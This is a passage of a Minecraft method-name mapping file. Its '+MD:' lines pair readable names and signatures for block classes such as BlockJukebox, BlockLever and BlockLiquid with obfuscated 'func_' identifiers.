net/minecraft/block/BlockHugeMushroom/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockHugeMushroom/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockHugeMushroom/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockHugeMushroom/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockIce/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockIce/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockIce/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockIce/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockIce/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockIce/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockIce/getMobilityFlag ()I net/minecraft/block/BlockIce/func_149656_h ()I +MD: net/minecraft/block/BlockIce/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockIce/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockJukebox$TileEntityJukebox/getRecord ()Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockJukebox$TileEntityJukebox/func_145856_a ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockJukebox$TileEntityJukebox/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/block/BlockJukebox$TileEntityJukebox/func_145839_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/block/BlockJukebox$TileEntityJukebox/setRecord (Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockJukebox$TileEntityJukebox/func_145857_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockJukebox$TileEntityJukebox/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/block/BlockJukebox$TileEntityJukebox/func_145841_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/block/BlockJukebox/hasComparatorInputOverride ()Z net/minecraft/block/BlockJukebox/func_149740_M ()Z +MD: net/minecraft/block/BlockJukebox/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockJukebox/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockJukebox/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockJukebox/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockJukebox/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockJukebox/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockJukebox/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockJukebox/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockJukebox/insertRecord (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockJukebox/func_176431_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockJukebox/getRenderType ()I net/minecraft/block/BlockJukebox/func_149645_b ()I +MD: net/minecraft/block/BlockJukebox/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockJukebox/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockJukebox/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockJukebox/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockJukebox/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockJukebox/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockJukebox/dropRecord (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockJukebox/func_180678_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockJukebox/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockJukebox/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockLadder/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLadder/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLadder/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockLadder/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockLadder/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockLadder/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockLadder/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLadder/func_176381_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLadder/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLadder/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLadder/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockLadder/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockLadder/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockLadder/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockLadder/isOpaqueCube ()Z net/minecraft/block/BlockLadder/func_149662_c ()Z +MD: net/minecraft/block/BlockLadder/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLadder/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLadder/isFullCube ()Z net/minecraft/block/BlockLadder/func_149686_d ()Z +MD: net/minecraft/block/BlockLadder/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockLadder/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockLadder/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockLadder/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockLadder/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockLadder/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockLeaves/getBlockColor ()I net/minecraft/block/BlockLeaves/func_149635_D ()I +MD: net/minecraft/block/BlockLeaves/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockLeaves/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockLeaves/dropApple (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockLeaves/func_176234_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockLeaves/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockLeaves/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockLeaves/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockLeaves/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockLeaves/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockLeaves/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockLeaves/getWoodType (I)Lnet/minecraft/block/BlockPlanks$EnumType; net/minecraft/block/BlockLeaves/func_176233_b (I)Lnet/minecraft/block/BlockPlanks$EnumType; +MD: net/minecraft/block/BlockLeaves/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockLeaves/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockLeaves/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockLeaves/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockLeaves/setGraphicsLevel (Z)V net/minecraft/block/BlockLeaves/func_150122_b (Z)V +MD: net/minecraft/block/BlockLeaves/isOpaqueCube ()Z net/minecraft/block/BlockLeaves/func_149662_c ()Z +MD: net/minecraft/block/BlockLeaves/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockLeaves/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockLeaves/getSaplingDropChance (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLeaves/func_176232_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLeaves/destroy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockLeaves/func_176235_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockLeaves/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLeaves/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLeaves/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockLeaves/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockLeaves/isVisuallyOpaque ()Z net/minecraft/block/BlockLeaves/func_176214_u ()Z +MD: net/minecraft/block/BlockLever$EnumOrientation/getMetadata ()I net/minecraft/block/BlockLever$EnumOrientation/func_176855_a ()I +MD: net/minecraft/block/BlockLever$EnumOrientation/byMetadata (I)Lnet/minecraft/block/BlockLever$EnumOrientation; net/minecraft/block/BlockLever$EnumOrientation/func_176853_a (I)Lnet/minecraft/block/BlockLever$EnumOrientation; +MD: net/minecraft/block/BlockLever$EnumOrientation/forFacings (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/BlockLever$EnumOrientation; net/minecraft/block/BlockLever$EnumOrientation/func_176856_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/BlockLever$EnumOrientation; +MD: net/minecraft/block/BlockLever$EnumOrientation/getFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockLever$EnumOrientation/func_176852_c ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockLever$EnumOrientation/getName ()Ljava/lang/String; net/minecraft/block/BlockLever$EnumOrientation/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockLever$EnumOrientation/toString ()Ljava/lang/String; net/minecraft/block/BlockLever$EnumOrientation/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockLever$EnumOrientation/values ()[Lnet/minecraft/block/BlockLever$EnumOrientation; net/minecraft/block/BlockLever$EnumOrientation/values ()[Lnet/minecraft/block/BlockLever$EnumOrientation; +MD: net/minecraft/block/BlockLever/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLever/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLever/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockLever/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockLever/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockLever/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockLever/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockLever/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockLever/func_181090_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLever/func_181090_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLever/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLever/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLever/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockLever/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockLever/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockLever/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockLever/getMetadataForFacing (Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockLever/func_176357_a (Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockLever/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockLever/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockLever/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLever/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLever/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockLever/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockLever/isOpaqueCube ()Z net/minecraft/block/BlockLever/func_149662_c ()Z +MD: net/minecraft/block/BlockLever/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLever/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLever/isFullCube ()Z net/minecraft/block/BlockLever/func_149686_d ()Z +MD: net/minecraft/block/BlockLever/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockLever/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockLever/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockLever/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockLever/func_181091_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockLever/func_181091_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockLever/canProvidePower ()Z net/minecraft/block/BlockLever/func_149744_f ()Z +MD: net/minecraft/block/BlockLiquid/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLiquid/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLiquid/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockLiquid/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockLiquid/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockLiquid/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockLiquid/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockLiquid/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockLiquid/modifyAcceleration (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/block/BlockLiquid/func_176197_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/block/BlockLiquid/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockLiquid/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockLiquid/getFlowDirection (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/material/Material;)D net/minecraft/block/BlockLiquid/func_180689_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/material/Material;)D +MD: net/minecraft/block/BlockLiquid/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLiquid/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLiquid/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockLiquid/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockLiquid/canCollideCheck (Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockLiquid/func_176209_a (Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockLiquid/getFlowingBlock (Lnet/minecraft/block/material/Material;)Lnet/minecraft/block/BlockDynamicLiquid; net/minecraft/block/BlockLiquid/func_176361_a (Lnet/minecraft/block/material/Material;)Lnet/minecraft/block/BlockDynamicLiquid; +MD: net/minecraft/block/BlockLiquid/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockLiquid/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockLiquid/getRenderType ()I net/minecraft/block/BlockLiquid/func_149645_b ()I +MD: net/minecraft/block/BlockLiquid/getLiquidHeightPercent (I)F net/minecraft/block/BlockLiquid/func_149801_b (I)F +MD: net/minecraft/block/BlockLiquid/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockLiquid/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockLiquid/isBlockSolid (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLiquid/func_176212_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLiquid/getStaticBlock (Lnet/minecraft/block/material/Material;)Lnet/minecraft/block/BlockStaticLiquid; net/minecraft/block/BlockLiquid/func_176363_b (Lnet/minecraft/block/material/Material;)Lnet/minecraft/block/BlockStaticLiquid; +MD: net/minecraft/block/BlockLiquid/isOpaqueCube ()Z net/minecraft/block/BlockLiquid/func_149662_c ()Z +MD: net/minecraft/block/BlockLiquid/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockLiquid/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockLiquid/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockLiquid/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockLiquid/getMixedBrightnessForBlock (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockLiquid/func_176207_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockLiquid/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockLiquid/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockLiquid/isFullCube ()Z net/minecraft/block/BlockLiquid/func_149686_d ()Z +MD: net/minecraft/block/BlockLiquid/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockLiquid/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockLiquid/triggerMixEffects (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockLiquid/func_180688_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockLiquid/checkForMixing (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockLiquid/func_176365_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockLiquid/getLevel (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockLiquid/func_176362_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockLiquid/getEffectiveFlowDecay (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockLiquid/func_176366_f (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockLiquid/shouldRenderSides (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockLiquid/func_176364_g (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockLiquid/getFlowVector (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/Vec3; net/minecraft/block/BlockLiquid/func_180687_h (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/block/BlockLiquid/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockLiquid/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockLog$EnumAxis/fromFacingAxis (Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/block/BlockLog$EnumAxis; net/minecraft/block/BlockLog$EnumAxis/func_176870_a (Lnet/minecraft/util/EnumFacing$Axis;)Lnet/minecraft/block/BlockLog$EnumAxis; +MD: net/minecraft/block/BlockLog$EnumAxis/getName ()Ljava/lang/String; net/minecraft/block/BlockLog$EnumAxis/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockLog$EnumAxis/toString ()Ljava/lang/String; net/minecraft/block/BlockLog$EnumAxis/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockLog$EnumAxis/values ()[Lnet/minecraft/block/BlockLog$EnumAxis; net/minecraft/block/BlockLog$EnumAxis/values ()[Lnet/minecraft/block/BlockLog$EnumAxis; +MD: net/minecraft/block/BlockLog/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockLog/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockLog/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockLog/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockMelon/quantityDroppedWithBonus (ILjava/util/Random;)I 